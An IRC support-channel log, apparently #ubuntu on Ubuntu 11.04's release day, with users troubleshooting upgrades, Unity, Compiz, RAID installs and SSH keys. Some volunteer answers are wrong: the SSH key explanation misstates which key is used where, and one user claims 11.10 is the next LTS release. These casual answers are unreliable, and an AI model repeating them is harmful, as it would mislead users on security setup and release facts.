[19:10] <hypetech> damiano__: what happens when you try to browse to it?
[19:10] <vega> !lirc
[19:10] <damiano__> yes i done killall
[19:10] <Dr_Willis> damiano__:  check its logs -  check its configs to be sure it is logging. :)
[19:10] <damiano__> "no process"
[19:10] <hypetech> no lirc for you
[19:10] <McShane> is there a way to remove the "Workspace Switcher" button on the Unity launcher menu?
[19:11] <escott> damiano__, check your /var/log as well perhaps it is closing immediately because of misconfiguration
[19:11] <stREaKer> rach0: Now it is stuck as measuring battery
[19:11] <damiano__> hypetech what you mean with "browser" ?
[19:11] <hypetech> McShane: right click on it
[19:11] <vish> McShane: nope
[19:11] <hypetech> McShane: nvm
[19:11] <llutz> damiano__: checked logs?
[19:11] <stREaKer> Anyone's Natty stuck at that battery command on start up?
[19:11] <cordoval_> basically I need to backup the dsktop and my sites
[19:11] <Hedgehog456> Servers okay now?
[19:11] <damiano__> no error inside
[19:11] <escott> cordoval_, all that stuff is in /home
[19:11] <damiano__> hmmm
[19:12] <cordoval_> hmmm, true
[19:12] <dpac> Can anyone give me ftp address to download ubuntu iso?
[19:12] <rach0> stREaKer, can you get to terminal?
[19:12] <cordoval_> but my configuration
[19:12] <cordoval_> but that I can redo
[19:12] <axisys> I am getting this when trying to upgrade
[19:12] <axisys> PicPaste
[19:12] <axisys> Picture: ubuntu-OdtsGDtF.png
[19:12] <axisys> http://picpaste.com/ubuntu-OdtsGDtF.png
[19:12] <sdegutis> that was interesting
[19:13] <pancho> QUESTION: why does my upgrade manager say "Could not download release notes. Please check your internet connection." and not update, i had it updating earlier but it got halfway through and then stopped?, should i try the terminal? i am connect to the internet though, hmmmm
[19:13] <damiano__> i think there are some permission problem
[19:13] <stREaKer> rach0: I can start up only in recovery mode
[19:13] <damiano__> i check thank you guys
[19:13] <proq> step21: ok, thanks
[19:13] <escott> !slow | pancho
[19:13] <ubottu> pancho: The Ubuntu repositories and ISO mirrors are currently under heavy load. Please consider using !torrents to download ISO images, and be patient with APT updates.  Also, try changing !mirrors
[19:13] <jan_> hi, I have problems after upgrading to natty.. ufw blocks igmp packets, so I am not able to receive data from multicast addresses using vlc. After disabling ufw everything works fine.. can someone help?
[19:13] <johnjaylward> does anyone know how to add a new widget to the unity top toolbar?
[19:13] <frankS2> When i log in using desktop : ubuntu i only see my desktop, no menus at all
[19:14] <vish> johnjaylward: you cant add applets to top panel
[19:14] <step21> johnjaylward, deeeeeeeeet
[19:14] <jan_> frank52: try to install compiz package
[19:14] <step21> johnjaylward, define widget
[19:14] <rach0> stREaKer, go into terminal and type in sudo dpkg-reconfigure xserver-xfree86
[19:14] <Hedgehog456> frankS2: How much RAM do you have?
[19:14] <jdahm> I was almost at the installation process using the LiveCD but it crashed so I force quitted the installation app.  Now when I click on "Install Ubuntu 11.04" it doesn't bring up any dialog
[19:14] <stREaKer> its stuck on that battery command during start up
[19:14] <jdahm> is there any other way to start it?
[19:14] <stREaKer> :/
[19:15] <pancho> @ubottu ok then sure thing, this is good and bad news isnt it, good that ubuntu is popular, and bad that the servers cant cope :)
[19:15] <johnjaylward> in 10.10 I used to have a performance monitor widget in the top panel that showed memory/cpu usage as well as temperatures
[19:15] <rimo0> escott: do u have any idea about my question?
[19:15] <johnjaylward> it disapeared on upgrade to natty with unity
[19:15] <vish> johnjaylward: as a mentioned, you cant :)
[19:15] <stREaKer> rach0: "sudo dpkg-reconfigure xserver-xfree86"
[19:15] <axisys> how do I get around this? http://picpaste.com/ubuntu-OdtsGDtF.png ..
[19:15] <Dr_Willis> johnjaylward:  basicaslly those applets got removed..  :) theres alternative indicator-applets youmay want to check out.
[19:15] <stREaKer> rach0: "Package `xserver-xfree86' is not installed and no info is available.
[19:15] <stREaKer> "
[19:15] <frankS2> Hedgehog456: 4GB
[19:15] <mikebot> Are there md5 hashes posted somewhere for 11.04?
[19:15] <rimo0> HELP!! i just generated a key for my SSH shell account! the next time that i tried to log in it asked me for a 'passphrase' and it didn't ask me for my account password!! so now what is the diffrent between it and my password? as if I just changed a new password for my account? isn't it? "generating a Key" what is it use for?
[19:16] <escott> rimo0, you need to put your pub key in the auth_keys file on the target machine, and enable auth_keys login in sshd_config on target machine
[19:16] <petsounds> sebsebseb, ok bro unity works with the experimental driver but the screen contrast and colour are not as crisp if i use the regular nvidia driver. do you know how to fix it? thanks
[19:16] <Dr_Willis> johnjaylward:  the OMGubuntu blog site has a list of them.
[19:16] <frankS2> jan_: I already have compiz installed
[19:16] <Craigen> I just updated to 11.04, but when i login i can move for a few secs then everything just freezes. Any ideas? :)
[19:16] <trism> johnjaylward: you can use python-appindicator to write one if it is something simple, https://launchpad.net/indicator-sysmonitor is a good reference, only about 100 lines of code
[19:16] <Hedgehog456> frankS2: Strange.
[19:16] <BlouBlou> how to disable compiz by terminal?
[19:16] <frankS2> Hedgehog456: i even rm -rf .gnome* and .gconf* so it should be clean
[19:16] <Dr_Willis> BlouBlou:  try 'metacity --replace'
[19:16] <sburjan`> escott: I have nothing in the login screen. I can only shut down computer, restart, etc ...
[19:16] <escott> rimo0, it may also be that your local keyring is asking for the password to your keyring
[19:17] <escott> sburjan`, huh?
[19:17] <rimo0> escott: i did that but i just wanted to know that what is the different about the a pub key and password?
[19:17] <nastjuid> !torrent
[19:17] <ubottu> Torrent clients: Transmission (GTK and terminal-based), Deluge-Torrent, Freeloader, BitStormLite, BitTornado-GUI (GTK), KTorrent (KDE), QTorrent (Qt), Azureus (Java), TorrentFlux (web-based), bittornado, rTorrent, cTorrent, bittorrent, aria2 (terminal-based) - FAQ: http://www.bittorrent.com/FAQ.html - See also !P2P
[19:17] <BlouBlou> Dr_Willis: it doesn't work, it says 'unable to open x display'
[19:17] <Armageddon> how do I fetch the packages from the repos without installing them ?
[19:18] <escott> rimo0, properly configured you can use ssh -i key.pub and not have to worry about passwords
[19:18] <sburjan`> escott: unity --replace doesn not work. I get a "Cannotregister panel shell: there is already one running." But my theme is like windows 95
[19:18] <sirgad> anyone know how to manually edit gconfs on a Live CD?  For booting purposes only, this CD, not install.
[19:18] <McShane> johnjaylward: look here: http://www.omgubuntu.co.uk/2011/01/the-omg-guide-to-must-have-indicator-applets/
[19:18] <kwtm> Armageddon: apt-get --download-only install  <pkgname>
[19:18] <picasso> can anyone tell me what version of rubygems comes with the new 11.04? or, tell me how to check that myself (before upgrading of course)
[19:18] <BlouBlou> anyone knows how to disable compiz from a terminal, or how to prevent openning it automatically in ubuntu-session-start? from a tty if possible please, because I can't open an x session
[19:18] <kwtm> Armageddon: man apt-get
[19:18] <nandinux> hello someone can listen me about a problem installing natty on raid 0 ?
[19:18] <Armageddon> kwtm, same as apt-get -d install ?
[19:18] <hedele> hello guys, I've decided to install 11.04 over my opensuse install, keeping my home partition, but ubuntu installer doesn't recognize logical volumes and treats it as a one big partition
[19:18] <escott> rimo0, so the server has a private key which it can use to authenticate any client who has the matching public key
[19:18] <kwtm> Armageddon: Yes, -d is short for --download-only, but if I say "-d" then they'll say "what does -d stand for?"
[19:19] <Armageddon> kwtm, I did man it, but the output was unclear saying it needs
[19:19] <hedele> I can't reach my linux partitions from live session too
[19:19] <johnjaylward> thanks McShane , I found that just now
[19:19] <josephnexus> so how can I change the shortcuts found in the dash on unity?
[19:19] <Wickedspawn> how do you add more workspaces in unity?
[19:19] <hedele> how can I do it?
[19:19] <BlouBlou> anyone knows how to disable compiz from a terminal, or how to prevent openning it automatically in ubuntu-session-start? from a tty if possible please, because I can't open an x session
[19:19] <Armageddon> kwtm, the output still says it needs etc amount of space after installation, so I wanted to make sure
[19:19] <escott> sburjan`, you don't have a panel anywhere?
[19:19] <da_poller> hello guys
[19:19] <rimo0> escott: so what should i use that when i have got a secure password? i can't underestand!!
[19:19] <Elssha> back again
[19:20] <Elssha> anyone know how to restore the panel on 11.04?
[19:20] <lugkhast> Wickedspawn: CCSM, General Settings, look for vertical and horizontal desktop size (IIRC)
[19:20] <BlouBlou> Elssha: I have the same problem
[19:20] <kwtm> Armageddon: It assumes that you will manually install, so it will still tell you how much space it takes when you manually install.
[19:20] <escott> rimo0, because ssh key is thousands of characters, passphrase is 8
[19:20] <Armageddon> kwtm, see, now it's clearer :) thanks
[19:20] <Adis45> Hello, how do I make a bootable USB in Ubuntu
[19:20] <sburjan`> escott: Interface looks exactly like the previous ubuntu. It has a windows 95 feeling also
[19:20] <Ziber> I'm currently running ubuntu 10.04 lts. do-release-upgrade says nothings available?
[19:20] <Elssha> bloublou; i doubt it.. i killed it by activating desktop cube in compiz
[19:20] <sirgad> @Adis: look for Unetbootin
[19:20] <Jordan_U> Adis45: Follow the instructions @ http://ubuntu.com/download
[19:20] <maco> Ziber: 1) LTS only show other LTS by default and 12.04 isnt out yet. you can change this in software sources 2) you cant go from 10.04 to 11.04 directly
[19:21] <escott> sburjan`, did you get a message about your graphics hardware not being powerful enough (this is 11.04 right?
[19:21] <mikebot> Are there md5 hashes posted somewhere for 11.04?
[19:21] <kwtm> hedele: You need to mount the volume on your live session.  From a terminal, you'd type a command *similar to* (don't quote me exactly) "sudo mount /dev/sda2 /path/to/mount/point" or something similar.  Or there may be a way to do it with GUI, but I am not familiar with that.
[19:21] <Adis45> No, I need to make a bootable Windows installation USB
[19:21] <Ziber> maco: I want 10.10, how can I upgrade to that?
[19:21] <sburjan`> escott: all I have in the login screen is Universal Access Preferences
[19:21] <maco> Ziber: see #1 in what i said
[19:21] <sirgad> Adis: you want to boot Windows from a USB?
[19:21] <Elssha> also, my emerald won't work -_-; I'm stuck with no window boarders (close button, etc)
[19:21] <hedele> kwtm: oh thanks didn't know that I should mount it manually, thanks
[19:22] <maco> Ziber: change the update settings in the software sources config thing
[19:22] <escott> sburjan`, confused... now you are at the login screen?
[19:22] <Ziber> alright...
[19:22] <kwtm> hedele: Come to think of it, there may be a more user-friendly way to do it, but I'm just letting you know that it is possible.
[19:22] <Adis45> sirgad: Yes
[19:22] <Elssha> suburjan; you type in your user name, click okay then at the bottom it will show up
[19:22] <sburjan`> escott: I logged off :)
[19:22] <trism> mikebot: http://releases.ubuntu.com/11.04/MD5SUMS
[19:22] <Elssha> threw me for a loop as well
[19:22] <Jordan_U> Adis45: Ask in ##windows
[19:22] <Elssha> so, anyone know how to restore panel?
[19:22] <Adis45> ok
[19:22] <sirgad> Adis45: so far as I'm aware, Windows doesn't allow that - that's what I've been told myself.  I don't think it's possible in Win 7 either
[19:23] <Elssha> and how to get emerald to come back >_>
[19:23] <zeeegis> hello, can anyone tell me how to separate home partition becauze for now i had everythink in one partition
[19:23] <sburjan`> Elssha: yes. I have selected Ubuntu. What should I select in order to enable Unity ?
[19:23] <escott> sirgad, it is possible... not that i know how
[19:23] <arand> !home | zeeegis
[19:23] <Jordan_U> zeeegis: Why do you want a separate /home/? You don't need one to re-install preserving /home/.
[19:23] <ubottu> zeeegis: Your home directory is where all of your personal files are usually kept. For moving your home directory to a separate partition, please see: http://psychocats.net/ubuntu/separatehome
[19:23] <nastjuid> In the alternate downloads -> bit torrent download section, there are two 10.04.2 Desktop i386 links, but no 10.04.2 x86_64 desktop link
[19:24] <mikebot> trism: THank you
[19:24] <Elssha> that idk; was just telling you that the options don't pop up until you type in your usr name
[19:24] <Elssha> sry
[19:24] <OchoZero9> how do you upgrade from alpha ?  update-manager -d ?
[19:24] <Jordan_U> !final | OchoZero9
[19:24] <ubottu> OchoZero9: If you install a development version of Ubuntu Natty and keep up with package updates, then you will be upgraded to the official release of 11.04 when it comes out. To make sure, type « sudo apt-get update && sudo apt-get dist-upgrade » in a console.
[19:24] <Pici> !floodbot | nandinux
[19:24] <ubottu> nandinux: FloodBot1,2,3, and 4 are all bots, please direct your questions to the channel.
[19:24] <Elssha> anyone know if there's a way to *down*grade from 11 to 10?
[19:24] <destinydriven> I noticed that bununtu 11.04 is not displaying top menu of a number of apps, anyone else having that problem?
[19:25] <escott> Elssha, no
[19:25] <Elssha> too bad
[19:25] <karlo> if I started upgrading to 11.04 but I have no time, can I cancel it and continue later ? (its on "Getting new packages" its not on "Installing the upgrades")
[19:25] <OchoZero9> thanks Jordan_U
[19:25] <Jordan_U> destinydriven: Move your mouse to the top of the screen and you will see the menu bar.
[19:25] <escott> destinydriven, they are supposed to appear in the panel on top, some are a little finicky
[19:25] <sburjan`> Elssha: I typed, now I have several options. Ubuntu is the selected one and I still got windows 85 :)
[19:25] <jdahm> I already have RAID set up from a previous installation, but it thinks /dev/md0 and /dev/md1 are entire devices, not just partitions
[19:25] <Pici> karlo: Yes.
[19:25] <Pici> karlo: But not if it starts installing them.
[19:25] <Jordan_U> OchoZero9: You're welcome.
[19:25] <neckoox> Elssha: format + reinstall ?
[19:25] <LAcan> escott, modes is "Managed" on an intel
[19:25] <destinydriven> escott: this works with some but not others
[19:25] <neckoox> sburjan`: 85 ?? huh
[19:25] <Elssha> was hoping to keep all my other mods neckoox >_<
[19:26] <destinydriven> Aptana 3 (release) is one example
[19:26] <karlo> Pici, ok, tnx ..its still on downloading
[19:26] <sburjan`> 85, 95, you get the picture
[19:26] <Elssha> so no way to return the panel?
[19:26] <escott> destinydriven, there is plugin for firefox check synaptic for unity firefox something
[19:26] <neckoox> :/ elssha
[19:26] <neckoox> sburjan yeah =)
[19:26] <escott> destinydriven, its like unity integration or some such
[19:26] <sburjan`> I'm gonna reinstall
[19:26] <CaneToad> what's the story with 11.04?  I heard talk of crashing with betas... is that what people are seeing with the release version?
[19:26] <escott> jdahm, that seems normal
[19:26] <alienware> l
[19:26] <destinydriven> escott: ok thanks, but why firefox, I have no problems with ff
[19:26] <Elssha> ... and here i was happy i got to go to 11.04 without having to redo all the settings
[19:27]  * LAcan nods at alienware
[19:27] <Monotoko> trying to work out if I like this unity thing...but we're running with full speed and stability at the moment CaneToad
[19:27] <sdegutis> :D
[19:27] <Elssha> cane; mine worked fine until i wanted the stupid cube back -_-;
[19:27] <escott> destinydriven, is it openoffice? its usually one of those two. sometimes it also gets confused if i alt-tab too much
[19:27] <destinydriven> escott: Aptana Studio 3
[19:27] <jdahm> escott: hmm it seems like if I manually format the device with mkfs.ext4 /dev/md0 it lets me use it as a "partition"
[19:27] <jdahm> weird
[19:27] <neckoox> elssha : you talking about compiz ?
[19:27] <sundjinnkari> So, anyone try to run ccsm in unity?
[19:27] <LAcan> Elssha, just install ccsm...
[19:28] <Elssha> what's that?
[19:28] <Monotoko> ccsm?
[19:28] <vega> is it really so that natty ships with a stone-age lirc (0.8.7) that is NOT compatible with nattys lirc kernel drivers?
[19:28] <escott> jdahm, yeah they are logical devices so that seems normal
[19:28] <Craigen> I just updated to 11.04, but when i login i can move for a few secs then everything just freezes. Any ideas? :) Also i can't access to grub by pressing esc :/
[19:28] <escott> jdahm, the installer may not be familiar with them
[19:28] <sundjinnkari> CompizConfig Settings Manager
[19:28] <jdahm> escott: what if I want it to just use the entire device without repartitioning it?
[19:28] <escott> destinydriven, you download apatana from outside
[19:28] <Wickedspawn> lugkhast: so it is that complicated.... Unity is going to take some getting used to.. heh. Thanks.
[19:28] <destinydriven> escott: I did
[19:29] <llutz> !info lirc natty
[19:29] <ubottu> lirc (source: lirc): infra-red remote control support. In component main, is extra. Version 0.8.7-0ubuntu4 (natty), package size 532 kB, installed size 2652 kB
[19:29] <jdahm> escott: I guess I'll just do it my manual way.  Seems hacky however.  In any case I have to wait for mdadm to sync these drives in /dev/md1
[19:29] <denny_b> Hey guys... I'm upgrading from 10.04 all the way up to 11.04... Am I going to run into issues or should it be really easy? (besides all the medibuntu stuff lol)
[19:29] <alienware> does anyone know how to install vistualbox on backtrack
[19:29] <llutz> vega: yep
[19:29] <destinydriven> escott: should I reinstall it on 11.04. I had it from 10.10
[19:29] <LAcan> im trying to download a torrent but it sasy the filename is too long... anyone know the option in Transmission or another fix?
[19:29] <CaneToad> Monotoko: is unty just a new default option... like can you use gnome if you want to?
[19:29] <Elssha> neckoox; yes... I upgraded from 10.10 to 11.04 ... in CCSM i tried to enable cube again, gave me an error but (stupidly, i know) I figured it was one of the ever-present 'the shortcut for X is same as shortcut for Y' things and okayed it
[19:29] <escott> jdahm, you could install in degraded mode and then fix it up after, but thats not the best approach
[19:29] <arand> !backtrack | alienware
[19:29] <ubottu> alienware: There are some Ubuntu derivatives that we cannot provide support for due to repository and software changes. Please consult their websites for more information. Examples: gNewSense (support in #gnewsense), Linux Mint (see !mint), LinuxMCE (support in #linuxmce), CrunchBang (support in #crunchbang), BackTrack (support in #backtrack-linux), Ultimate Edition
[19:29] <escott> destinydriven, don't know if that would make a difference because it is outside apt
[19:29] <Elssha> next thing i know, no panel up top, no window boarders
[19:29] <jdahm> escott: what is degraded mode?
[19:29] <multipass> wow, 11.04 has iphone support, badass
[19:30] <Monotoko> how come its now LibreOffice...?
[19:30] <Rob235> what can it do with the iphone
[19:30] <Monotoko> I assume thats openoffice?
[19:30] <Elssha> so now no cube and no panel
[19:30] <neckoox> multipass: really ?
[19:30] <mikebot> trism: The torrent from the website doesn't match that....?
[19:30] <nandinux> i have a notebook with 10.10 installed and work ok
[19:30] <destinydriven> escott: hmm ok, guess I will have to use another ide for now
[19:30] <escott> jdahm, ie disable mdadm, install to /dev/sda# and then rebuild afterwards
[19:30] <neckoox> multipass: which OS ?
[19:30] <Leo> Hello all. For my sins, I'm trying to set up an IPSec VPN on an Ubuntu 10.10 Server machine. I'm using OpenSWAN (+ NETKEY, just the default setup).
[19:30] <lugkhast> Wickedspawn: simple-ccsm might work too, but I haven't tried
[19:30] <zeeegis> when it will be possible to upgrade ubuntu to 11.04
[19:30] <OchoZero9> Monotoko: because Free means two things, and libre means one
[19:30] <zeeegis> ?
[19:30] <nandinux> now i try to install 11.04 and not work
[19:30] <Elssha> LAcan; if that's compiz settings manager i have it; it's how I screwed up the install in the first places
[19:30] <jdahm> escott: oh, eww, nah I'll do it this way.  Thanks for the tip anyway
[19:30] <multipass> neckoox, yeah.. i had direct access to the root of it, access to the 3rd part apps, and access to the music.. amazing
[19:30] <Elssha> place*
[19:30] <escott> destinydriven, the real question is how to get unity to NOT take over the menu
[19:30] <cws> hi, i cannot boot into ubuntu 10.10 after installing ubuntu 11.04. Does anyone know how to fix it? http://paste.ubuntu.com/600388/
[19:30] <[lan3y]> so once i done all the updates im on 11.04 right?
[19:30] <destinydriven> zeeegis: as of today
[19:30] <xrdodrx> Monotoko, LibreOffice is an updated OO.org
[19:30] <multipass> neckoox, so no longer need SSH to it
[19:31] <nandinux> i think the problem is the raid
[19:31] <neckoox> multipass: damn sweet !
[19:31] <OchoZero9> Monotoko: they are now Free from sun / oracle
[19:31] <escott> jdahm, see if you can mount md0 and md1, maybe once they are mounted the installer will play along
[19:31] <destinydriven> escott: I'd love to know that
[19:31] <OchoZero9> they are libre
[19:31] <nandinux> sameone can help me ?
[19:31] <stREaKer> rach0: Its fixed :)
[19:31] <CaneToad> Monotoko: Libreoffice is a fork of openoffice that isn't under Oracle's control...since they initially apparently weren't willing to play friendly with it
[19:31] <stREaKer> rach0: thanks for the help
[19:31] <Wickedspawn> lugkhast: I tried switching to classic and changing the number of workspaces and then logging back into unity, but the change didn't carry over. Was trying to keep from installing compiz, but I guess I have to =/
[19:31] <sundjinnkari> did anyone run conky in 11.04?
[19:31] <neckoox> multipass: but can you change the music on it ? like uploading music ?
[19:31] <Jenk> Would somebody point me to the md5 hashes of Natty ? https://help.ubuntu.com/community/UbuntuHashes hasn't been updated.
[19:31] <Monotoko> CaneToad, I see...I've been out of the game a while!!
[19:31] <rach0> stREaKer, glad i was of help
[19:31] <LAcan> Elssha, whats the screwup? you are likely in conflict between your WM and compiz?
[19:31] <multipass> neckoox, i think so.. so far i just tried playing it though.
[19:31] <jdahm> escott: ok I will after I get lunch. /dev/md1 is going to take about another hour to sync ;)
[19:32] <neckoox> multipass: try try ! :P
[19:32] <OchoZero9> OOo was always Free(gratis), but now they are Free(libre)
[19:32] <_cory> ok i feel very out of place on 11.04...
[19:32] <jdahm> escott: maybe I'll submit a big report about it
[19:32] <OchoZero9> should i use desktop or netbook version?
[19:32] <Elssha> LAcan; i turned on cube in CCSM and my panel (the shiny new one in 11.04) and window boarders ran away in mutiny
[19:32] <gaara> did anyone solve the backlight issues??
[19:32] <multipass> neckoox, cant atm lol, im at work and i already wasted an hour, sry
[19:32] <gaara> screen is black
[19:33] <Monotoko> can anyone tell me where the settings are...?
[19:33] <gaara> rather screen is blank on booting in
[19:33] <escott> jdahm, you might also try getting the mdadm.conf setup in your install environment see if that helps
[19:33] <Adis45> How can I make my USB bootable
[19:33] <neckoox> multipass: a okay . np , i will probably test myself next week
[19:33] <Elssha> what's the command line to open CCSM?
[19:33] <LAcan> ccsm
[19:33] <escott> Elssha, ccsm
[19:33] <stREaKer> Everytime I boot up my ubuntu I see "Resume:Libcrypt 1.4.5" is it natural?
[19:33] <multipass> neckoox, it works on live usb/cd, so done even need to instlal
[19:33] <_cory> is there a way to move this sidebar thing to the bottom?
[19:33] <Elssha> n/m
[19:33] <Monotoko> compizconfig-settings-manager
[19:33] <Leo> So first I'm trying to set up a basic IPSec connection for test purposes, roughly following the instructions in the OpenSWAN book ( http://www.packtpub.com/openswan/book ).
[19:33] <jdahm> escott: I know.  I'm goign to need to chroot when I'm done installing and make sure everything is go inside the install
[19:33] <LAcan> Elssha, than you can reset those properties THROUGH compiz ccsm
[19:33] <jdahm> escott: it's not goign to be nice
[19:33] <OchoZero9> Should I use Desktop or Netbook an a two point multitouch screen with Pressure sensitive pen input  i7?
[19:34] <michaelschmid> hi! just updated from 10.10 to 11.04... during install i had a crash. then i finished using shell. now my install is sometimes freezing and nautilus doesn't work anymore (just doesn't start). any suggestions?
[19:34] <Monotoko> michaelschmid, sounds like a reinstall job
[19:34] <michaelschmid> sure?
[19:34] <gaara> michaelschmid, i agree with Monotoko
[19:34] <neckoox> multipass: yup , i won't install it yet , since fresh dist. are known to be buggy .
[19:34] <Leo> The book suggests that an RSA key should be automatically generated during openswan installation, except on Gentoo where the install is half-broken.
[19:35] <jdahm> /away lunch
[19:35] <escott> michaelschmid, unless you can identify the library that was installing when it crashed
[19:35] <Monotoko> michaelschmid, I mean reinstall your operating system clean
[19:35] <jdahm> oops
[19:35] <Elssha> okay, what's this unity shell thing?
[19:35] <Witchsong_> OchoZero9, I'd guess the Netbook edition would be better for a tablet (assume that's what you mean).
[19:35] <proq> wubi on windows 7 is only allowing me 30GB to install ubuntu, but I have 119GB free.  how do I give it 80GB?
[19:35] <damien_mul> Anyone here having an issue with the Natty upgrade?
[19:35] <Ziber> So, I get to the login screen and I click on my username. Sometimes it wont show the password entry form at all, and sometimes it does but wont let me type ...
[19:35] <michaelschmid> yeah, i understood... but any ideas how to get nautilus running again and then installing some days later?
[19:35] <damien_mul> I'm getting an error during upgrade ...
[19:35] <damien_mul> Failed to fetch http://ie.archive.ubuntu.com/ubuntu/pool/universe/p/plymouth/plymouth-x11_0.8.2-2ubuntu23_amd64.deb 404  Not Found [IP: 193.1.193.69 80]
[19:35] <damien_mul> Failed to fetch http://ie.archive.ubuntu.com/ubuntu/pool/universe/s/system-config-printer/hal-cups-utils_1.3.1+20110222-0ubuntu16.2_all.deb 404  Not Found [IP: 193.1.193.69 80]
[19:35] <damien_mul> Failed to fetch http://ie.archive.ubuntu.com/ubuntu/pool/universe/q/qt4-x11/libqt4-webkit_4.7.2-0ubuntu6.1_amd64.deb 404  Not Found [IP: 193.1.193.69 80]
[19:35] <FloodBot3> damien_mul: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[19:35] <gaara> anyone here have an issue with the backlight on laptop screen
[19:35] <gaara> ?
[19:36] <escott> michaelschmid, try force reinstall of naut, but its more likely a library issue
[19:36] <Elssha> anyone know what's this unity shell thing?
[19:36] <Elssha> is*
[19:36] <_cory> where is my administrator menu?  No more compiz?  wtf...
[19:36] <michaelschmid> how can i find out, at what job the upgrade crashed?
[19:36] <Monotoko> michaelschmid, you could try uninstalling ubuntu-desktop and reinstalling it...that would likely purge a lot, but it is more likely to break things than fix
[19:36] <Psychobudgie> Elssha, it's Ubuntu's new shell
[19:36] <Pici> !floodbot | nandinux
[19:36] <ubottu> nandinux: FloodBot1,2,3, and 4 are all bots, please direct your questions to the channel.
[19:36] <Witchsong_> Anyone here know if it's possible to sync folders from multiple mounted harddrives to Ubuntu One?
[19:36] <Elssha> yay, that fixed it
[19:36] <Elssha> ^_^
[19:37] <Elssha> or so i thing
[19:37] <Elssha> think*
[19:37] <FloodBot3> Elssha: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[19:37] <Ziber> So, I get to the login screen and I click on my username. Sometimes it wont show the password entry form at all, and sometimes it does but wont let me type ... Any ideas?
[19:37] <jbwiv> is anyone else getting this little blue triangle in the upper left hand corner of unity? http://i.imgur.com/LvEWN.png
[19:37] <Witchsong_> Or am I confined to keep what I want synced in the home folder?
[19:37] <Jenk> What/Where are the md5 hashes of Ubuntu 11.04 (Natty) ? https://help.ubuntu.com/community/UbuntuHashes hasn't been updated.
[19:37] <Witchsong_> No Ubuntu One users here who could answer the question?
[19:37] <Psychobudgie> jbwiv, it's a notification
[19:38] <OchoZero9> Witchsong_: yes I have atablet, but I need the ability to run powerful apps like Electronic Design Automation.
[19:38] <jbwiv> Psychobudgie, ah...I see
[19:38] <Omega> jenkins: http://releases.ubuntu.com/natty/MD5SUMS
[19:38] <_cory> why does 11.04 seem so dumbed down?
[19:38] <Psychobudgie> jbwiv, tells you that something has occurred somewhere. Doesn't actually tell you what occurred just that something has, somewhere, at some point
[19:38] <Omega> Jenk: http://releases.ubuntu.com/natty/MD5SUMS
[19:38] <Omega> Oops, sorry jenkins.
[19:38] <Leo> Thing is, it seems that no RSA key has been generated during openswan installation on Ubuntu 10.10 either. /etc/ipsec.secrets contains the lineinclude /var/lib/openswan/ipsec.secrets.inc
[19:38] <Witchsong_> OchoZero9: For Ubuntu 10, the only major difference between the Desktop and Netbook editions is the interface.
[19:38] <DASSSAD> hi
[19:38] <Psychobudgie> jbwiv, you see what I did there
[19:38] <theintrepid1> hi. Im having problems with broadcom wifi after a clean install of 11.04. Any suggestions?
[19:38] <DASSSAD> when comes do ubuntu 11.04 ??
[19:38] <nandinux> someone can help me? problem with raid on 11.04
[19:39] <Leo> /var/lib/ipsec.secrets.inc doesn't exist.
[19:39] <OchoZero9> Witchsong_: thanks.
[19:39] <jbwiv> Psychobudgie, yes, I see. ;-). Thanks!
[19:39] <escott> Psychobudgie, and i've been thinking that was a graphical artifact
[19:39] <srsbiz> Hey, is 11.04 released yet? update-notifier doesn't report 11.04 is available, only 10.10. :-/
[19:39] <Ziber> When I get to the login screen (and it takes a while to get there...), it sometimes wont let me type my password anywhere. Other times, it shows the password textbox, but wont let me type. Any ideas?
[19:39] <Psychobudgie> escott, someone posted it as a bug earlier
[19:39] <escott> !help | nandinux
[19:39] <ubottu> nandinux: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[19:39] <jbwiv> is there a good, consistent set of end-user docs for unity? I'd like to convert my bro-in-law
[19:39] <michaelschmid> ziber, i think i had the same problem
[19:39] <Witchsong_> _cory, I guess you have a different view of what seems "dumbed down" than what I have. The new interface is a lot better, though it will require time to get used to. :)
[19:40] <Ziber> michaelschmid: Do you have a solution?
[19:40] <rcmaehl> WOOT!
[19:40] <srsbiz> Do I have to update to 10.10 frist?
[19:40] <fslima0> 0
[19:40] <rcmaehl> 11.04!
[19:40] <Psychobudgie> escott, We should have a bet on what actual feature of unity will be the next one to be incorrectly indentified as a bug
[19:40] <crescendo> my window manager is crashing amid the upgrade, and it's just resizing the windows over and over. halp?
[19:40] <_cory> witchsong_: Maybe u can help me figure a few things out.  I want to reconfigure my monitors but I don't have a preferences or administration menu anymore.  Also is tehre a way to reposition the sidebar?
[19:40] <OchoZero9> I have an 18.6 GB partition that is almost full, and it hosts the operating system. I have naother 63GB partitoin that is only 60% full. How do I free up space on the OS partition?
[19:40] <michaelschmid> first it was extremely slow, now it works, but sometimes it is freezing. try first to start the classic version (gnome)
[19:40] <crescendo> (I'm basically typing into an oscillating Xchat window right now.)
[19:40] <rcmaehl> ubuntu 11.04 today an ring ceremony tomorrow which means I get to leave school after it and be excused
[19:40] <Leo> And then, when I attempt to create an RSA key using sudo ipsec newhostkey (the method recommended for Gentoo installs by the openswan book) nothing happens.
[19:40] <Pici> srsbiz: Yes. If you're running 10.04, you'll need to upgrade to 10.10 first, then to 11.04
[19:40] <Ziber> michaelschmid: ...How?
[19:40] <Witchsong_> _cory: The preferences are in the "shut down" menu now.
[19:41] <michaelschmid> ziber, but i don't really have a solutino
[19:41] <escott> OchoZero9, gparted will allow you to resize/move
[19:41] <DASSSAD> when will ubuntu11.04 released ??
[19:41] <_cory> witchsong_ ah ha!  thx
[19:41] <michaelschmid> ziber, try to login using gnome (classic)
[19:41] <Monotoko> DASSSAD, it's out
[19:41] <escott> OchoZero9, as with any partition changes make backups
[19:41] <srsbiz> Pici: is 11.04 LTS btw? I was kind-of confused by teh lack of "LTS" on the download site
[19:41] <Leo> The rsasigkey process just seems to stall, using 0 processor and memory (according to top).
[19:41] <rcmaehl> DASSSAD: it's out
[19:41] <DASSSAD> is 11.04 LTS ?
[19:41] <arand> srsbiz: It's not
[19:41] <Ziber> michaelschmid: How do I select that option?
[19:41] <nandinux> why in a notebook with raid-0 perfectly run 10.10 i can't install 11.04
[19:41] <theintrepid1> hi. Im having some problems with wifi after a clean install of 11.04. STA driver takes out wireless networks on the network applet. any ideas?
[19:41] <Psychobudgie> srsbiz, 11.10 is the next lts
[19:41] <Monotoko> DASSSAD, there isn't an 11.04 LTS
[19:41] <michaelschmid> ziber, did upgrade to through without crash/error?
